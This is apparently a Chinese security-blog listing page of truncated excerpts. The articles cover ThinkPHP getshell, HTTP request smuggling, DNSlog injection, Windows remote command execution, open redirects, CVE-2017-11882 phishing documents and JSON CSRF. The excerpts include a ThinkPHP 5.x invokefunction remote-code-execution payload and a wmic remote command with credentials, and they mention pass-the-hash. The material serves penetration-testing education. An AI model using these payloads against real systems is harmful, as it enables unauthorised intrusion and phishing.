如上图，目标就一个登陆框，最近 Thinkphp 程序很多，根据后台地址结构，猜测可能是 ThinkPHP ，随手输入 xxx 得到 thinkPHP 报错页面，确定目标程序和版本。
然后上 5.X EXP 测试：
命令执行漏洞已经被修复了。。。
爆破？这验证码我没辙。。。
尝试读取日志瞅瞅，结果遇到防火墙
然后查了下 IP ，没有CDN，果断查下旁站，有那么几个站，目测都是 thinkPHP
爱站旁站查询其实并不准确，有的查不到，所以...
thinkPHP渗透之经验决定成败
谁能比我细—秒懂Http请求走私
谁能比我细---秒懂Http请求走私
1. 前提
HTTP1.1
首先我们需要了解下http1.1的特性，它是应用层的协议，这个不用多说
keepalive
在http1.1时代，每个http请求都需要打开一个tcp连接，keep-alive可以改善这种状态，提高利用率，即一个长连接，在一次TCP连接后不断开连接。 HTTP1.0的时候没有长连接这个概念，后来引入了长连接并通过Connection: keep-alive实现。
但HTTP1.1的规则中，所有HTTP报文都...
巧用DNSlog实现实现无回显注入
测试一些网站的时候，一些注入都是无回显的，我们可以写脚本来进行盲注，但有些网站会ban掉我们的ip，这样我们可以通过设置ip代理池解决，
但是盲注往往效率很低，所以产生了DNSlog注入。具体原理如下。
首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，这样以来所有 ceye.io 及其子域名的查询都会到 ...
windows远程执行cmd命令的9种方法
一、远程执行命令方式及对应端口:
IPC$+AT 445
PSEXEC 445
WMI 135
Winrm 5985(HTTP)&5986(HTTPS)
二、9种远程执行cmd命令的方法：
1.WMI执行命令方式,无回显：
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
2.使用Hash直接登录Windows（HASH传递）
抓取windows hash值,得到administrator的hash：
598DDCE2660D...
URL跳转漏洞检测与修复- URL跳转漏洞
漏洞描述
服务端未对传入的跳转url变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。
由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击，通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息，或欺骗用户进行金钱交易；
也可能引发的XSS漏洞（主要是跳转常常使用302跳转，即设置HTTP响应头，Locatioin: url，如果url包含了CRLF，则可能...
curl: (35) SSL connect error 之解决方案升级NSS
最近在使用REDHAT 6.3进行访问github时遇到报错“curl: (35) SSL connect error ”
经过一番查询发现这个问题是由于nss版本过低导致的，网上早有人遇到这个问题，并且也说明解决方案
需要升级nss后，那就简单了，升级呗，看到网上有前辈提供的解决方案很简单一句话
yum update nss
其实看到这里还是蛮崩溃的，因为很多时候不具备yum环境，这时候升级就很麻烦。没办法，从头一点点找出依赖关...
CVE-2017-11882钓鱼攻击
本文概述一次钓鱼攻击
0x00 前言
0x01 环境简介
0x02 配置环境
0x03 生成钓鱼RTF文档
0x04 利用结果
0x05 关于免杀 - mshta.exe
0x00 前言
此次攻击使用了小组师傅改写的CVE利用脚本，能够将内容自定义，大大增加了小鱼上钩的可能。
0x01 环境简介
阿里云ECS服务器（Ubuntu） - 118.**.**.77
CVE-2017-11882.py 用于包装rtf
msf && CVE-2017-11882.rb
CVE-2017-11882.rb内容如下：
##
# Thi...
JSON CSRF的一个案例-附利用链接
这是最近的一个真实案例，所以某些地方对进行打码处理，算作对json csrf的一点研究吧，废话不多说，进入正题
对一个SDK进行渗透测试过程中发现，发现POST请求的data都使用json格式进行数据传输，该做的校验和过滤都做了，权限也做了很好的控制，难道就没问题了？感觉此处应该存在CSRF问题的，但是由于post的内容是json格式，而且对Content-Type也进行了限制，如下图：
尝试一、常规思路利用构造了如下代码...
thinkPHP 5X 在PHP7以上环境下的 GETSHELL
起因
thinkPHP 的命令执行漏洞已经过去好一阵子了，然而还有许多站并没有修复这个漏洞，今天恰巧让我遇到这么一个，
但是因为目标 PHP 版本是 7.2.14 导致 GETSHELL 变的异常麻烦，在各种折腾下最终成功，记录分享一波~
GETSHELL 过程
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami?s=index/\think\Request/input&filter=phpinfo&...
跨域方法总结
跨域方法总结
最近面试问的挺多的一个问题，就是JavaScript的跨域问题。在这里，对跨域的一些方法做个总结。由于浏览器的同源策略，不同域名、不同端口、不同协议都会构成跨域；但在实际的业务中，很多场景需要进行跨域传递信息，这样就催生出多种跨域方法。
1. 具备src的标签
原理：所有具有src属性的HTML标签都是可以跨域的
在浏览器中，<script>、<img>、<iframe>和<link>...